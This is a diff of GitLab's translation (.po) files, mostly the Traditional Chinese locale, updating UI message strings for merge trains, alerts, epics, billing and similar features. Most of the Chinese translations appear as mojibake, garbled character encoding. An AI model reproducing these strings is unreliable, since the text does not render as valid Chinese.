msgstr ""
@@ -27394,6 +28209,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27430,9 +28248,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27466,13 +28281,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27556,10 +28371,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27772,6 +28587,9 @@ msgstr "在賬號上 %{set_password_link} 之å‰å°‡ç„¡æ³•é€šéŽ %{protocol} 拉
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27847,7 +28665,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -27964,6 +28782,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28091,6 +28912,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28392,12 +29216,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28551,6 +29369,10 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+
msgid "group"
msgstr ""
@@ -28596,9 +29418,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28639,6 +29458,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28787,9 +29609,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28802,6 +29630,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -28874,9 +29705,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -28910,12 +29738,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr "åœ¨ç¶²é  IDE 中開啟"
@@ -28997,19 +29819,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29217,6 +30039,9 @@ msgstr ""
msgid "quick actions"
msgstr "快速æ“作"
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29260,9 +30085,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29380,6 +30202,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29398,6 +30223,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29461,6 +30289,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/zh_TW/gitlab.po b/locale/zh_TW/gitlab.po
index f380d64fb41..959bb9e22a1 100644
--- a/locale/zh_TW/gitlab.po
+++ b/locale/zh_TW/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-TW\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:43\n"
+"PO-Revision-Date: 2020-09-04 23:06\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -54,14 +54,14 @@ msgstr[0] " æ–¼ %d 處有æå‡"
msgid " or "
msgstr " 或 "
-msgid " or <!merge request id>"
-msgstr "或 <!åˆä½µè«‹æ±‚ id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr "或 <#議題 id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " 或 <#å²è©© id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " 或引用 (例如:專案/路徑!åˆä½µè«‹æ±‚_ID)"
@@ -69,6 +69,9 @@ msgstr " 或引用 (例如:專案/路徑!åˆä½µè«‹æ±‚_ID)"
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "「%{ref}ã€ä¸Šæ²’有「%{path}ã€"
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -251,6 +254,9 @@ msgstr[0] "為é¿å…效能å•é¡Œï¼Œå·²éš±è— %s 次é¡å¤–æ交。"
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} 和 %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -287,6 +293,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr "%{cores} 核心"
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr "%{count} 程å¼ç¢¼è¡Œæ•¸/æ交"
@@ -339,6 +348,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr "%{description}- Sentry 事件:%{errorUrl}- 首次出ç¾ï¼š%{firstSeen}- 最後出ç¾ï¼š%{lastSeen} %{countLabel}:%{count}%{userCountLabel}:%{userCount}"
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration} 毫秒"
@@ -366,8 +378,8 @@ msgstr "%{firstLabel} 還有 %{labelCount} 個"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
-msgstr "%{global_id} ä¸æ˜¯æœ‰æ•ˆçš„ %{expected_type} ID。"
+msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr "%{group_docs_link_start}群組%{group_docs_link_end} å…許您管ç†ã€å”作多個項目。群組的æˆå“¡å¯ä»¥å­˜å–群組下的所有項目。"
@@ -453,9 +465,6 @@ msgstr "%{group_level_name} 群組ä¸å…許 %{level_name} 。"
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "由於分å‰çš„æºé …ç›®å¯è¦‹æ€§è¼ƒä½Žï¼Œå› æ­¤ä¸å…許使用 %{level_name}。"
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -474,6 +483,9 @@ msgstr "%{listToShow},還有 %{awardsListLength} 個。"
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} 已開始"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} 被 GitLab 使用者 %{lock_user_id} 鎖定"
@@ -483,6 +495,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr "%{mergeLength}/%{usersLength} å¯ä»¥åˆä½µ"
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText},此議題將自動關閉。"
@@ -590,6 +614,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -613,6 +640,9 @@ msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr "%{size} ä½å…ƒçµ„"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} æˆåŠŸåœ°æ交給 Akismet。"
@@ -628,6 +658,9 @@ msgstr "%{start} 到 %{end}"
msgid "%{state} epics"
msgstr "%{state} å²è©©"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -696,6 +729,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr "%{totalWeight} 總權é‡"
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr "%{total} 開放議題權é‡"
@@ -729,6 +765,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -738,7 +777,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -781,6 +835,9 @@ msgstr "(外部資æº)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr "(已刪除)"
@@ -961,15 +1018,6 @@ msgstr "8å°æ™‚"
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr "< 1 å°æ™‚"
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "<strong>刪除</strong>來æºåˆ†æ”¯"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr "「執行器ã€æ˜¯ä¸€å€‹åŸ·è¡Œä½œæ¥­çš„行程。您å¯ä»¥æ ¹æ“šéœ€è¦é…置任æ„個執行器。"
@@ -1033,8 +1081,8 @@ msgstr "濫用審查團隊æˆå“¡å°‡æœƒå„˜å¿«æª¢é–±æ‚¨çš„報告。"
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr "當安全報告有高ã€åš´é‡æˆ–未知嚴é‡æ€§çš„æ–°æ¼æ´žæ™‚,需è¦å…ˆæ ¸å‡†åˆä½µè«‹æ±‚。"
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
-msgstr "當授權æ¢æ¬¾åˆè¦æ€§å ±å‘ŠåŒ…å«æœ‰åœ¨é»‘å單內的授權æ¢æ¬¾æ™‚,需è¦å…ˆæ ¸å‡†åˆä½µè«‹æ±‚。"
+msgid "A merge request approval is required when the license compliance report contains a denied license."
+msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
msgstr "已建立新的自動 DevOps æµæ°´ç·šï¼Œè«‹å‰å¾€ %{pipelines_link_start}æµæ°´ç·šé é¢%{pipelines_link_end} 檢視詳細訊æ¯ã€‚"
@@ -1051,6 +1099,9 @@ msgstr "å°‡åœ¨åˆ†å‰ (fork) 專案中中建立新分支,並開啟新的åˆä½µè
msgid "A new impersonation token has been created."
msgstr "已建立新的身份模擬權æ–。"
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "一個純 HTML ç«™å°ï¼Œä½¿ç”¨ Netlify 代替 GitLab çš„ CI/CD,但ä»å…·æœ‰æ‰€æœ‰å…¶ä»–主è¦çš„ GitLab 功能。"
@@ -1153,6 +1204,9 @@ msgstr "å­˜å–éŽæœŸæ™‚é–“"
msgid "Access forbidden. Check your access level."
msgstr "ç¦æ­¢å­˜å–。請檢查您的存å–權é™ã€‚"
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "ä¸å…許存å–「%{classification_label}ã€"
@@ -1264,6 +1318,9 @@ msgstr "啟用"
msgid "Activate Service Desk"
msgstr "啟用æœå‹™å°"
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "使用中"
@@ -1295,12 +1352,6 @@ msgstr[0] "加入 %d 個議題"
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "加入變更記錄"
@@ -1415,6 +1466,9 @@ msgstr "加入å­å²è©©åˆ°å²è©©"
msgid "Add comment now"
msgstr "ç«‹å³åŠ å…¥ç•™è¨€"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1427,6 +1481,9 @@ msgstr "加入電å­éƒµä»¶åœ°å€"
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "加入é é¦–å’Œé å°¾åˆ°é›»å­éƒµä»¶ã€‚請注æ„,é¡è‰²è¨­å®šåªæœƒå¥—用於應用程å¼ä»‹é¢"
@@ -1439,6 +1496,9 @@ msgstr "加入議題"
msgid "Add italic text"
msgstr "加入斜體文字"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "加入標籤"
@@ -1718,6 +1778,9 @@ msgstr "é¸æ“‡æµæ°´ç·šè¨­å®šæª”"
msgid "AdminSettings|Select a template"
msgstr "é¸æ“‡ç¯„本"
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1733,6 +1796,9 @@ msgstr "為æ¯å€‹å°ˆæ¡ˆçš„自動審閱應用程å¼åŠè‡ªå‹•éƒ¨ç½²éšŽæ®µï¼ŒæŒ‡å®š
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr "強制æµæ°´ç·šè¨­å®šå¯å¾žè¨­å®šçš„ %{link_start}實體範本庫%{link_end} 中的 %{code_start}gitlab-ci%{code_end} 目錄é¸æ“‡ï¼Œæˆ–使用 GitLab æ供的設定檔。"
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr "建立新的環境變數時,它會被é è¨­ä¿è­·ã€‚"
@@ -1959,6 +2025,9 @@ msgstr[0] "警示"
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -1989,7 +2058,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2046,9 +2115,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2061,6 +2127,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2103,16 +2172,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2142,7 +2208,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2241,6 +2307,9 @@ msgstr "所有電å­éƒµä»¶åœ°å€éƒ½å¯ç”¨æ–¼è­˜åˆ¥æ‚¨çš„æ交。"
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "從範本或匯入時為空白專案將啟用所有功能,但å¯ä»¥ä¹‹å¾Œåœ¨å°ˆæ¡ˆè¨­å®šä¸­å°‡å…¶åœç”¨ã€‚"
@@ -2388,6 +2457,9 @@ msgstr "å…許使用者跳éŽå¼·åˆ¶è¨­å®šå…©æ­¥é©Ÿé©—證的時間(以å°æ™‚為
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2454,6 +2526,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr "æ交您的變更時發生錯誤。"
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2526,9 +2601,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr "抓å–æœå‹™å°ä½å€æ™‚發生錯誤。"
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "抓å–看æ¿åˆ—表時發生錯誤。請å†è©¦ä¸€æ¬¡ã€‚"
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr "抓å–組建時發生錯誤。"
@@ -2670,15 +2754,18 @@ msgstr "抓å–日曆活動時發生錯誤"
msgid "An error occurred while retrieving diff"
msgstr "å–得差異時發生錯誤"
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr "儲存 LDAP 覆蓋狀態時發生錯誤,請é‡è©¦ã€‚"
msgid "An error occurred while saving assignees"
msgstr "儲存å—託人時發生錯誤。"
-msgid "An error occurred while saving the approval settings"
-msgstr "儲存核准設定時發生錯誤"
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr "儲存範本時發生錯誤。請檢查範本是å¦å­˜åœ¨ã€‚"
@@ -2703,12 +2790,18 @@ msgstr "更新核准者時發生錯誤"
msgid "An error occurred while updating the comment"
msgstr "更新留言時發生錯誤"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "驗證群組路徑時發生錯誤"
msgid "An error occurred while validating username"
msgstr "驗證使用者å稱時發生錯誤"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "發生了錯誤,請å†è©¦ä¸€æ¬¡ã€‚"
@@ -2787,6 +2880,9 @@ msgstr "任何"
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -2998,6 +3094,9 @@ msgstr "4月"
msgid "April"
msgstr "4月"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3010,6 +3109,9 @@ msgstr "歸檔專案"
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr "已歸檔專案ï¼ç‰ˆæœ¬åº«å’Œå…¶ä»–專案資æºå‡ç‚ºå”¯è®€"
@@ -3025,9 +3127,6 @@ msgstr "歸檔專案將使其完全唯讀。儀表æ¿ä¸­å’Œæœå°‹çµæžœä¸­éƒ½ä¸
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr "您正在為公å¸è¨­å®š GitLab 嗎?"
-
msgid "Are you sure that you want to archive this project?"
msgstr "確定è¦æ­¸æª”此專案嗎?"
@@ -3136,7 +3235,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3148,9 +3247,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3163,6 +3259,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3420,7 +3519,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3498,6 +3597,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3624,7 +3726,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3738,6 +3840,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3807,13 +3912,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4008,6 +4116,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4182,6 +4293,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4215,10 +4329,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4239,7 +4353,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4425,9 +4539,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4653,7 +4764,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
